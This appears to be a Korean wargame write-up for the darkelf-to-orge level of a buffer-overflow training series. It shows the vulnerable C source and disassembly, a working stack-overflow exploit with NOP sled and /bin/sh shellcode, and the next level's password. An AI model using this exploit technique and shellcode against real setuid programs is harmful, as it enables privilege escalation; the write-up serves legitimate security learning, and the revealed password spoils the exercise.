0. 들어가기 전에
이번 문제도 얼마든지 NOP SLED로 풀이가 가능했다.
1. Level 7 : Darkelf -> Orge
이번 문제는 코드가 조금 특이하다. 확인해보자
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// here is changed!
if(strlen(argv[0]) != 77){
printf("argv[0] error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
다른 코드는 저번과 똑같은데, strlen(argv[0]) != 77라는 조건문이 생겼다. argv[0]? 매개변수는 argv[1]부터 시작인데?
그렇다, 파일 이름이 0번째 매개변수이다. 따라서 우리는 파일 이름을 75글자로 바꿔줘야 한다(./가 붙으니 2바이트는 채워진다.)
파일 이름을 바꾸는 법은 간단하니 넘어가고, 나머지 풀이과정은 전 문제와 동일하다. 어셈블리 코드 :
0x8048500 <main>: push %ebp
0x8048501 <main+1>: mov %ebp,%esp
0x8048503 <main+3>: sub %esp,44
0x8048506 <main+6>: cmp DWORD PTR [%ebp+8],1
0x804850a <main+10>: jg 0x8048523 <main+35>
0x804850c <main+12>: push 0x8048690
0x8048511 <main+17>: call 0x8048410 <printf>
0x8048516 <main+22>: add %esp,4
0x8048519 <main+25>: push 0
0x804851b <main+27>: call 0x8048420 <exit>
0x8048520 <main+32>: add %esp,4
0x8048523 <main+35>: mov %eax,DWORD PTR [%ebp+12]
0x8048526 <main+38>: mov %edx,DWORD PTR [%eax]
0x8048528 <main+40>: push %edx
0x8048529 <main+41>: call 0x80483f0 <strlen>
0x804852e <main+46>: add %esp,4
0x8048531 <main+49>: mov %eax,%eax
0x8048533 <main+51>: cmp %eax,77
0x8048536 <main+54>: je 0x8048550 <main+80>
0x8048538 <main+56>: push 0x804869c
0x804853d <main+61>: call 0x8048410 <printf>
0x8048542 <main+66>: add %esp,4
0x8048545 <main+69>: push 0
0x8048547 <main+71>: call 0x8048420 <exit>
0x804854c <main+76>: add %esp,4
0x804854f <main+79>: nop
0x8048550 <main+80>: nop
0x8048551 <main+81>: mov DWORD PTR [%ebp-44],0x0
0x8048558 <main+88>: mov %eax,DWORD PTR [%ebp-44]
0x804855b <main+91>: lea %edx,[%eax*4]
...생략
ebp-44이니 더미 44개 + 리턴주소 4바이트로 대략적인 두 번째 매개변수의 주소를 리턴으로 넘겨줘 NOP SLED로 쉘코드를 실행시킨다.
익스플로잇 :
./`python -c 'print "A"*75'` `python -c 'print "A"*44+"\x98\xfb\xff\xbf"'` `python -c 'print "\x90"*100 + "\x90"*100+"\x90"*150+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
비밀번호 : timewalker
Source
- 해커스쿨 FTZ
- Me!